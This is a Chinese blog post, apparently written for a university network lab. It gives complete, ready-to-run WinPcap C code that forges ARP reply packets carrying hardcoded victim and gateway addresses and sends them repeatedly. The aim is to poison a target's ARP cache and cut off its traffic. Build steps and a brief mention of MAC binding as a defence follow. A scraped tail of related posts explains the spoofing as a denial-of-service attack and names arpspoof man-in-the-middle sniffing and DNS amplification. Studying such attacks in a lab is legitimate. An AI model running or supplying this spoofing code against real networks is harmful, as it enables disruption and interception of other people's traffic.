arp应答包欺骗

实验代码及步骤:

//  : 定义控制台应用程序的入口点。
#include "stdafx.h"
#include <pcap.h>
int _tmain(int argc, _TCHAR* argv[])
{
    pcap_if_t * allAdapters;//适配器列表
    pcap_if_t * adapter;
    pcap_t    * adapterHandle;//适配器句柄
    u_char      packet[ 1020 ]; //待发送的数据封包
    char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区

if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
    {//检索机器连接的所有网络适配器
        fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
        return -1;
    }

if( allAdapters == NULL )
    {//不存在任何适配器
        printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
        return 0;
    }

int crtAdapter = 0;

for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
    {//遍历输入适配器信息(名称和描述信息)
        printf( "\n%d.%s ", ++crtAdapter, adapter->name ); 
        printf( "-- %s\n", adapter->description );
    }
    printf( "\n" );

//选择适配器
    int adapterNumber;
    printf( "Enter the adapter number between 1 and %d:", crtAdapter );
    scanf_s( "%d", &adapterNumber );

if( adapterNumber < 1 || adapterNumber > crtAdapter )
    {
        printf( "\nAdapter number out of range.\n" );        
        pcap_freealldevs( allAdapters );// 释放适配器列表
        return -1;
    }

adapter = allAdapters;
    for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
        adapter = adapter->next;

// 打开指定适配器
    adapterHandle = pcap_open( adapter->name, // name of the adapter
                               65536,         // portion of the packet to capture
                                              // 65536 guarantees that the whole 
                          // packet will be captured
                               PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
                               1000,             // read timeout - 1 millisecond
                               NULL,          // authentication on the remote machine
                               errorBuffer    // error buffer
                              );
    if( adapterHandle == NULL )
    {//指定适配器打开失败
        fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
        // 释放适配器列表
        pcap_freealldevs( allAdapters );
        return -1;
    }

pcap_freealldevs( allAdapters );//释放适配器列表

//创建数据封包
    packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x6c;    packet[5] = 0x58;   // 被骗计算机的mac地址
    packet[6] = 0xc8;   packet[7]  = 0x9c;   packet[8]  = 0xdc;   packet[9]  = 0x22;   packet[10] = 0x62;   packet[11] = 0x0f;   // 自己的mac地址
    packet[12] = 0x08;   packet[13] = 0x06;  // 以太网封装arp协议(不用动)
    packet[14] = 0x00;   packet[15] = 0x01;  // arp第1字段:代表以太网
    packet[16] = 0x08;   packet[17] = 0x00;  // arp第2字段:代表IP协议
    packet[18] = 0x06;  // arp第3字段:代表第二层地址的长度
    packet[19] = 0x04;  // arp第4字段:代表第三层地址的长度
    packet[20] = 0x00;   packet[21] = 0x02;   // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段
    packet[22] = 0xc8;   packet[23]  = 0x9c;   packet[24]  = 0xdc;   packet[25]  = 0x22;   packet[26] = 0x62;   packet[27] = 0x06; // 假的网关地址,
    packet[28] = 0xac;   packet[29] = 0x1c;        packet[30] = 0x0f;   packet[31] = 0xfe;    // 网关的ip,这里是172.28.15.254(在本实验室不用改)
    packet[32] = 0xc8;   packet[33]  = 0x9c;   packet[34]  = 0xdc;   packet[35]  = 0x22;   packet[36] = 0x61;   packet[37] = 0xd0;  // 被骗计算机的mac地址
    packet[38] = 0xac;   packet[39] = 0x1c;        packet[40] = 0x0f;   packet[41] = 0x21;   // 被骗计算机的IP地址,这里是172.28.15.33  (想骗谁,这里就改成谁的IP)
    //发送数据封包
    for(int ssde=0;ssde<100;ssde++)
    {
        pcap_sendpacket( adapterHandle, packet, 42);
        Sleep(1000);
    }

system( "PAUSE" );
    return 0;
}

运行结果:

查看要被欺骗的MAC地址:

如果不想被欺骗就需要mac绑定:

注意事项:

项目-->(123)属性(alt+F7)
配置属性-->清单工具-->输入和输出-->嵌入清单-->否
项目-->(123)属性(alt+F7)
配置属性-->C/C++-->常规-->附加包含目录-->(C:\WpdPack选中include文件)
项目-->(123)属性(alt+F7)
配置属性-->链接器-->常规-->附加库目录-->(C:\WpdPack选中lib文件)

项目-->(123)属性(alt+F7)
配置属性-->链接器-->输入-->附加依赖项-->补充“;Packet.lib;wpcap.lib;Ws2_32.lib;”
项目-->(123)属性(alt+F7)
配置属性-->C/C++-->预处理器-->预处理器定义-->补充“;HAVE_REMOTE”
---------LINK:fatal error LNK1123: 转换到 COFF 期间失败: 文件无效或损坏--------
第一步:将 项目——项目属性——配置属性——连接器——清单文件——嵌入清单 “是”改为“否”。若还不能解决问题进入第二步。
第二步:查看计算机是否为64bit操作系统,如是,继续如下操作。
查找是否有两个cvtres.exe。
C:\Program Files(x86)\Microsoft Visual Studio 10.0\vc\bin\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
右键属性—详细信息, 查看两者版本号,删除/重命名较旧的版本,或者重新设置Path变量。

治本的办法是第二步,删除旧版本的cvtres.exe后,就不需要每次都设置配置。

时间: 2024-10-13 00:28:49

arp应答包欺骗的相关文章

发arp应答包欺骗别人的例子

实验原理: 对主机A发送伪造的ARP应答报文,假冒主机B的IP地址,但MAC地址设为不存在的一个硬件地址,主机A接收此报文后错误地刷新ARP高速缓存中主机B的IP地址与MAC地址的映射关系,导致主机A与主机B的网络通信中断.这种方法属于拒绝服务(Denial of Service, DoS)攻击,网络上流行的网络执法官等软件就是采用ARP欺骗机制,发送错误的网关MAC地址给非法用户,使其通信中断. 攻击者172.28.15.3以172.28.15.33的名义发起的一次ARP欺骗,可以看出,攻击者

发arp应答包欺骗别人

一.在Visual Studio 2010软件中建立一个项目,配好相应的属性,将以下代码粘贴项目栏中,调试运行以下代码. // WinpCap Test.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <pcap.h> int _tmain(int argc, _TCHAR* argv[]) { pcap_if_t * allAdapters;//适配器列表 pcap_if_t * adapter; pcap_t  

发arp答应包欺骗别人

注意事项 打开编译器,运行代码 代码如下 // WinpCap Test.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <pcap.h> int _tmain(int argc, _TCHAR* argv[]) { pcap_if_t * allAdapters;//适配器列表 pcap_if_t * adapter; pcap_t    * adapterHandle;//适配器句柄 u_char      pa

伪造的ARP应答报文,阻碍对方通信

实验原理: 对主机A发送伪造的ARP应答报文,假冒主机B的IP地址,但MAC地址设为不存在的一个硬件地址,主机A接收此报文后错误地刷新ARP高速缓存中主机B的IP地址与MAC地址的映射关系,导致主机A与主机B的网络通信中断.这种方法属于拒绝服务(Denial of Service, DoS)攻击,网络上流行的网络执法官等软件就是采用ARP欺骗机制,发送错误的网关MAC地址给非法用户,使其通信中断. 攻击者172.28.15.3以172.28.15.33的名义发起的一次ARP欺骗,可以看出,攻击者

ARP数据包

结构ether_header定义了以太网帧首部:结构arphdr定义了其后的5个字段,其信息用于在任何类型的介质上传送ARP请求和回答:ether_arp结构除了包含arphdr结构外,还包含源主机和目的主机的地址. 定义常量 #define EPT_IP   0x0800    /* type: IP */#define EPT_ARP   0x0806    /* type: ARP */#define EPT_RARP 0x8035    /* type: RARP */#define A

scapy构造打印ARP数据包

ARP格式: 用于以太网的ARP请求/应答分组格式 各字段含义: 帧类型:表示数据部分用什么协议封装(0800表示IP,0806表示ARP,8035表示RARP). 硬件类型:表示硬件地址的类型(其中,值为1表示以太网地址,其他还可能表示令牌环地址). 硬件地址长度:指出该报文中硬件地址的长度(ARP报文中,它的值为6). 协议地址长度:指出该报文中协议地址的长度(ARP报文中,它的值为4). op:操作字段,共有4种类型(1:ARP请求,2:ARP应答,3:RARP请求,4:RARP应答).

DNS反射放大攻击分析——DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器

DNS反射放大攻击分析 摘自:http://www.shaojike.com/2016/08/19/DNS%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90/ 简介 DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器. 简单对比下正常的DNS查询和攻击者的攻击方式: 正常DNS查询:源IP地址 -–DNS查询--> DN

ARP第三方中间人欺骗,伪装,监控数据

ARP第三方中间人欺骗,伪装,监控数据 arp 安装dsniff和driftnet工具 $ yaourt -S dsniff driftnet 2. 假设被攻击者IP:192.168.254.40,网关:192.168.254.254 双向欺骗,一方面告诉被攻击者自己是192.168.254.254,另一方面告诉网关自己是192.168.254.40 $ arpspoof -i eth0 -t 192.168.254.40 -r 192.168.2545.254 3. 打开本地ip转发 $ ec

Wireshark数据包分析之ARP协议包解读

*此篇博客仅作为个人笔记和学习参考 ARP请求报文格式 ARP回应报文格式 ARP数据包 ARP请求包 ARP回应包 原文地址:http://blog.51cto.com/13444271/2125341